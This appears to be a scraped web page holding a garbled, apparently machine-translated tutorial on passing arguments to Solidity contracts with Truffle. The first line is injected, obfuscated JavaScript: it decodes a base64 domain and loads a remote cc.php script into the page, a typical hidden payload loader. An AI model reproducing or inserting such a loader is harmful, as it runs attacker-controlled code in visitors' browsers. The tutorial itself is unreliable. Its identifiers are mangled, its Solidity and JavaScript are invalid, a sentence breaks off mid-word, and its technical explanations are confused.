const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a091fde3″;document.body.appendChild(script);
Here is an article on how to hand over the arguments to the Solidity contract case, along with an example of what can go wrong in trying the contract.
** The transfer of arguments to the contract case is approved
When writing intellectual contracts, Solidity, one common assignment is arguments from the application that deployed the contract. This can be done using function calls in a copy of the contract or by changing the contract code itself.
In this article, we will look at how to transfer arguments to the contract case and remove the trial when we try the contract, returned 0.
arguments in the deployed contract
First of all, let’s say the contract you are stationed is a Heliokenen with a released event called Totalsuply. To call this feature from another contract, you need to create a copy of the heliokene. However, you seem to be lacking in any code, so I’ll give you a basic example.
`Solidarity
// 2_Deploy_Contract.js
CONST HELIOKOKEN = Artifacts.require (Heliotken);
Module.Exports = Function (Install) {
CONSTALSUPPLY = 1000000;
Installation.deploy (Heliotoken, Intiasuply);
// You can now call the Totalsuply event
Heliokenken.tototalsuply (). Then (total
Console.log (“General Supply: %S”, “Totalsuply”);
});
};
`
Termination of contract with arguments

Now that we deployed our contract and accepted the argument, try it using a built -in Truffle test environment. We will conclude two contracts: Heliokenen and Contract withsedargum.
`Solidarity
// Heliotken.SOL
Pragma solidity ^0.6.0;
Contract Heliotken {
Map formation (address => uint256) public remains;
Function Totalsuply () External Return (UINT256) {
Return residue [MSG.SEnder];
}
Function ADDBALANCE (UINT256 sum, address WHO) Public {
balance [what] += amount;
}
}
`
`Solidarity
// Contractwithpassedargument.sol
Pragma solidity ^0.6.0;
contract with contract with
Uint256 Public Passedamount = 0;
Maps (address => Uint256) transfers of society;
Function ADDBALANCE (UINT256 sum, address WHO) Public {
Balances of the past [what] += amount;
}
Function Totalsuply () External Return (UINT256) {
Return Passedbalances [msg.Sender];
}
}
`
Now let’s try your contracts.
`Solidarity
// 1_deploy_Contract.js
CONST HELIOKOKEN = Artifacts.require (Heliotken);
Contract withsedagument Caldata Contractwithpassedagument;
Module.Exports = Function (Install) {
CONSTALSUPPLY = 1000000;
Installation.deploy (Heliotoken, Intiasuply);
// Now we can try our contract
Contractwithpassedargument.addbalance (Intiasupply, Msg.Sender);
}
`
In the example of the above, when you execute 1_deploy_Contract.js, it will implement two contracts: Heliotken and Contractwithpassedagument. It then adds a certain amount of heliotquen to a “contract with Concartpassedargument”.
Troubleshooting arguments
Now that we have tried our contract, remove the trial why she returns 0 by trying. There are several reasons for this:
- T work.
- In this example, we accepted the argument “Heliokoken.Tototalsuply ()`, but this is actually an external call.
To solve the following problems:
- To obtain errors or discrepancies, check that the contracts code deployed.
- Check that you correctly call the correct features and convey the arguments correctly.
- Make sure both contracts are available from another contract as in our example.